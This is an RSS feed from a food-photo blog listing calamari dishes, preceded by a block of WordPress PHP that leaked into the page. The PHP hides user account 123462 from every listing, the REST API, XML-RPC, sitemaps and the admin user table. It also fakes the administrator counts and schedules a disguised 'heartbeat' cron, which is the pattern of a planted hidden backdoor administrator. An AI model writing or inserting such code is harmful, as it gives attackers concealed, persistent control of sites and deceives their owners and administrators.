add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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add_action( 'template_redirect', function() {
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        if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
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            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<category><![CDATA[Fish]]></category>
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		<title>Calamari With A Sweet Thai Chili Sauce</title>
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		<pubDate>Sun, 24 Apr 2016 18:50:59 +0000</pubDate>
				<category><![CDATA[Calamari]]></category>
		<category><![CDATA[Seafood]]></category>
		<category><![CDATA[Squid]]></category>
		<category><![CDATA[Sweet Thai Chili Sauce]]></category>
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										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-86357" src="http://damnthatlooksgood.com/wp-content/uploads/2016/04/d1calamariwsweetthaichilisauce.jpg" alt="d1calamariwsweetthaichilisauce" width="600" height="400" /></p><p>The post <a href="https://damnthatlooksgood.com/calamari-with-a-sweet-thai-chili-sauce/" target="_blank">Calamari With A Sweet Thai Chili Sauce</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Fried Calamari With Spicy Mayo</title>
		<link>https://damnthatlooksgood.com/fried-calamari-with-spicy-mayo/</link>
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		<pubDate>Mon, 23 Apr 2012 13:02:37 +0000</pubDate>
				<category><![CDATA[Calamari]]></category>
		<category><![CDATA[Fried Foods]]></category>
		<category><![CDATA[Mayo]]></category>
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		<title>Linguine Carbonara With Homemade Calamari</title>
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		<pubDate>Thu, 03 Nov 2011 20:57:45 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
		<category><![CDATA[Calamari]]></category>
		<category><![CDATA[Fried Foods]]></category>
		<category><![CDATA[Pasta]]></category>
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					<description><![CDATA[<p>Thanks to George for the photo!</p>
<p>The post <a href="https://damnthatlooksgood.com/linguine-carbonara-with-homemade-calamari/" target="_blank">Linguine Carbonara With Homemade Calamari</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Thanks to George for the photo!</p><p>The post <a href="https://damnthatlooksgood.com/linguine-carbonara-with-homemade-calamari/" target="_blank">Linguine Carbonara With Homemade Calamari</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<pubDate>Thu, 27 Oct 2011 17:59:07 +0000</pubDate>
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					<description><![CDATA[<p>You can visit their website here. Photo courtesy of Klamtan. United Kingdom</p>
<p>The post <a href="https://damnthatlooksgood.com/calamari-fritti-from-carluccios/" target="_blank">Calamari Fritti From Carluccio's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=77995"><img loading="lazy" class="alignnone size-full wp-image-77996" title="636" src="http://damnthatlooksgood.com/wp-content/uploads/2011/10/636.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/10/636.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/10/636-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>You can visit their website <a href="http://www.carluccios.com/">here</a>.</p>
<p>Photo courtesy of <a href="http://www.klamtam.com/archives/lunch-carluccios">Klamtan</a>.</p>
<p>United Kingdom</p><p>The post <a href="https://damnthatlooksgood.com/calamari-fritti-from-carluccios/" target="_blank">Calamari Fritti From Carluccio's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Seafood Alfredo Pizza From Luigi&#8217;s At The Beach</title>
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		<pubDate>Thu, 18 Aug 2011 13:09:17 +0000</pubDate>
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					<description><![CDATA[<p>Thanks to Danielle for the photo! San Diego, California</p>
<p>The post <a href="https://damnthatlooksgood.com/seafood-alfredo-pizza-from-luigis-at-the-beach/" target="_blank">Seafood Alfredo Pizza From Luigi's At The Beach</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Thanks to Danielle for the photo!</p>
<p>San Diego, California</p><p>The post <a href="https://damnthatlooksgood.com/seafood-alfredo-pizza-from-luigis-at-the-beach/" target="_blank">Seafood Alfredo Pizza From Luigi's At The Beach</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Fried Calamari</title>
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		<pubDate>Wed, 13 Jul 2011 20:53:26 +0000</pubDate>
				<category><![CDATA[Calamari]]></category>
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					<description><![CDATA[<p>Photo courtesy of Fiona Vance. &#160;</p>
<p>The post <a href="https://damnthatlooksgood.com/fried-calamari/" target="_blank">Fried Calamari</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=76024"><img loading="lazy" class="alignnone size-full wp-image-76025" title="278" src="http://media.damnthatlooksgood.com/wp-content/uploads/2011/07/278.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/07/278.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/07/278-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Photo courtesy of <a href="http://fionavance.wordpress.com/tag/fried-calamari/">Fiona Vance</a>.</p>
<p>&nbsp;</p><p>The post <a href="https://damnthatlooksgood.com/fried-calamari/" target="_blank">Fried Calamari</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Fried Calamari Sandwich</title>
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		<pubDate>Sun, 17 Apr 2011 19:10:06 +0000</pubDate>
				<category><![CDATA[Bread]]></category>
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		<category><![CDATA[Fried Foods]]></category>
		<category><![CDATA[Mayo]]></category>
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					<description><![CDATA[<p>Photo courtesy of SBR Forum.</p>
<p>The post <a href="https://damnthatlooksgood.com/fried-calamari-sandwich/" target="_blank">Fried Calamari Sandwich</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Photo courtesy of <a href="http://forum.sbrforum.com/players-talk/176181-bacon-cheese-stuffed-pizza-burger-ftw-p3.html">SBR Forum</a>.</p><p>The post <a href="https://damnthatlooksgood.com/fried-calamari-sandwich/" target="_blank">Fried Calamari Sandwich</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<link>https://damnthatlooksgood.com/firecracker-calamari-from-hooters/</link>
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		<pubDate>Thu, 10 Jun 2010 18:16:01 +0000</pubDate>
				<category><![CDATA[Calamari]]></category>
		<category><![CDATA[Fried Foods]]></category>
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					<description><![CDATA[<p>Deep fried calamari and deep fried jalapenos served with a sweet chili sauce.</p>
<p>The post <a href="https://damnthatlooksgood.com/firecracker-calamari-from-hooters/" target="_blank">Firecracker Calamari From Hooters</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-277" title="Food70Hooters" src="http://media.damnthatlooksgood.com/wp-content/uploads/2010/05/Food70Hooters.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2010/05/Food70Hooters.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2010/05/Food70Hooters-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Deep fried calamari and deep fried jalapenos served with a sweet chili sauce.</p><p>The post <a href="https://damnthatlooksgood.com/firecracker-calamari-from-hooters/" target="_blank">Firecracker Calamari From Hooters</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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